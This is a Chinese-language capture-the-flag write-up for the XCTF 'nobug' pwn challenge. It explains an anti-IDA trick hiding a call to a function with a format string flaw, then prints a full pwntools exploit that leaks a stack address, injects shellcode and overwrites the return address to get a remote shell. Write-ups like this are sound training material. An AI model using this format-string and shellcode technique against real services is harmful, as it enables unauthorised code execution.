XCTF-nobug-WP

Posted on Mar 2, 2021

这道题的 exp 应该是近期写的最短的,但是却是最令我迷惑的题。

一开始就是一个输入,然后输入的字符串会被传到这个函数里面进行处理

这个函数非常的复杂,完全不知道它在做什么,我一度怀疑这是一道逆向题。然后了解到从它查表得行为和随便输入往往会转换出乱码俩个特征可以猜测这是一个 base64 加密,简单尝试一下就可以确认这一点。

再看看整个程序,没有发现什么漏洞点,就不会了。

查阅 wp 之后才知道这里有反 IDA 逆向分析的指令

.text:08048B76 sub_8048B76     proc near               ; CODE XREF: sub_8048BD4+6↓p
.text:08048B76 ; __unwind {
.text:08048B76                 push    ebp
.text:08048B77                 mov     ebp, esp
.text:08048B79                 sub     esp, 18h
.text:08048B7C                 mov     dword ptr [esp], offset s ; s
.text:08048B83                 call    _strlen
.text:08048B88                 mov     dword ptr [esp+8], 0
.text:08048B90                 mov     [esp+4], eax
.text:08048B94                 mov     dword ptr [esp], offset s
.text:08048B9B                 call    base64encrypt
.text:08048BA0                 mov     [esp+0Ch], eax
.text:08048BA4                 mov     dword ptr [esp+8], offset format ; "%s"
.text:08048BAC                 mov     dword ptr [esp+4], 800h ; maxlen
.text:08048BB4                 mov     dword ptr [esp], offset byte_804A8A0 ; s
.text:08048BBB                 call    _snprintf
.text:08048BC0                 push    offset sub_8048BD1
.text:08048BC5                 push    offset sub_8048B32
.text:08048BCA                 push    0
.text:08048BCC                 lea     esp, [esp+4]
.text:08048BD0                 retn
.text:08048BD0 sub_8048B76     endp ; sp-analysis failed

这是 sub_8048B76 的汇编代码,也就是 base64 解密所在的函数,这里的 snprintf 没什么问题,但是调用 snprintf 完后的四句

.text:08048BC0                 push    offset sub_8048BD1
.text:08048BC5                 push    offset sub_8048B32
.text:08048BCA                 push    0
.text:08048BCC                 lea     esp, [esp+4]
.text:08048BD0                 retn

是 IDA 没有分析出来的,这里做的就是调用 sub_8048B32 这个函数了

这个函数是有格式化字符串漏洞的,也就是说本题就是不在栈上的格式化字符串攻击,这种攻击就是搭跳板,可以参照此文。但是 snprintf 的参数位置计算和 printf 肯定是不一样的,因为格式化字符串是第三个参数,那么相应的每个参数都应该减 2,也就是 esp + 4 * x 处的是第 x - 2 个参数。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
import base64
context(arch = 'i386',os = 'linux')

#sh = process("./nobug")
sh = remote("111.200.241.244",45493)

sh.sendline(base64.b64encode('%4$p'))
ret_addr = int(sh.recvuntil('\n',drop = 'True'),base = 16) + 4 - 0x20

payload = asm(shellcraft.sh())
payload += '%' + str(ret_addr & 0xFF - len(payload)) + 'c' + '%4$hhn'
payload += '%' + str((0xA0) - (ret_addr & 0xFF)) + 'c' + '%12$hn'
print payload
payload = base64.b64encode(payload)

sh.sendline(payload)

sh.interactive()

这个 exp 需要进行有限的爆破,当栈地址过小时是打不通的,多试几次就可以了。

本题让我意识到了逆向能力的重要性。